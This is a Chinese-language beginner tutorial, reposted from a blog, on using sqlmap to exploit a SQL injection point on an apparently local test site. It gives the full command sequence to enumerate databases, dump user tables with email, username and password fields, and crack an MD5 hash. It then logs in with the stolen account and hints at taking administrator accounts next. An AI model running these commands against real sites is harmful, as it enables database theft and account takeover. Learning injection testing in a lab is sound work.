sql注入入門--基本命令
本文轉載自http://blog.csdn.net/zgyulongfei/article/details/41017493
本文僅獻給想學習滲透測試的sqlmap小白,大牛請繞過。
>
>
對於網路安全人員來說,掌握滲透工具的使用方法是一項必備的技能。然而,一個沒有師傅帶領的小白在剛開始學習時,並不知道該如何入手進行滲透學習,所以本文旨在幫助這些小白入門。
sqlmap是一款非常強大的開源sql自動化注入工具,可以用來檢測和利用sql注入漏洞。它由python語言開發而成,因此執行需要安裝python環境。
既然本文是基礎教程,以下只寫工具的基本使用方法。
本教程為sqlmap具體應用案例,如需瞭解更多sqlmap資料可以訪問官方http://sqlmap.org ,或者烏雲知識庫http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。
測試環境:本地搭建的具有sql注入點的網站 http://192.168.1.150
注意:sqlmap只是用來檢測和利用sql注入點的,並不能掃描出網站有哪些漏洞,使用前請先使用掃描工具掃出sql注入點。
教程開始:
一、檢測注入點是否可用
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134"
引數:
-u:指定注入點url
結果:
注入結果展示:
(1)注入引數id為GET注入,注入型別有四種分別為:boolean-based blind、error-based、stacked queries、inline query。
(2)web伺服器系統為windows 2003 or XP
(3)web應用程式技術為:ASP.NET, Microsoft IIS 6.0
(4)資料庫型別為:SQLSERVER 2000
其中圖一有若干詢問語句,需要使用者輸入[Y/N],如果你懶得輸入或者不懂怎麼輸入可以讓程式自動輸入,只需新增一個引數即可,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch
二、暴庫
一條命令即可曝出該sqlserver中所有資料庫名稱,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs
引數:
--dbs:dbs前面有兩條槓,請看清楚。
結果:
結果顯示該sqlserver中共包含7個可用的資料庫。
三、web當前使用的資料庫
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db
四、web資料庫使用賬戶
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user
五、列出sqlserver所有使用者
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --users
六、資料庫賬戶與密碼
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords
七、列出資料庫中的表
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables
引數:
-D:指定資料庫名稱
--tables:列出表
結果:
結果體現共列出了34張表。
八、列出表中欄位
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns
引數:
-D:指定資料庫名稱
-T:指定要列出欄位的表
--columns:指定列出欄位
結果:
結果顯示該userb表中包含了23條欄位。
九、暴欄位內容
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump
引數:
-C :指定要暴的欄位
--dump:將結果匯出
結果:
如果欄位內容太多,需要花費很多時間。可以指定匯出特定範圍的欄位內容,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump
引數:
--start:指定開始的行
--stop:指定結束的行
此條命令的含義為:匯出資料庫tourdata中的表userb中的欄位(email,Username,userpassword)中的第1到第10行的資料內容。
結果如下:
十、驗證結果
通過上圖結果看到其中的一個使用者資訊為:
email:[email protected]
username: 1.asp
password: 49ba59abbe56e057
通過md5解密,得到該hash的原文密碼為:123456
拿到賬號密碼我們來測試是否可以登入,登入結果如下:
驗證成功!
當然我們只是拿到普通會員賬號進行登入,你也可以拿到管理員賬號進行登入,後面的事情自己發揮吧,嘿嘿!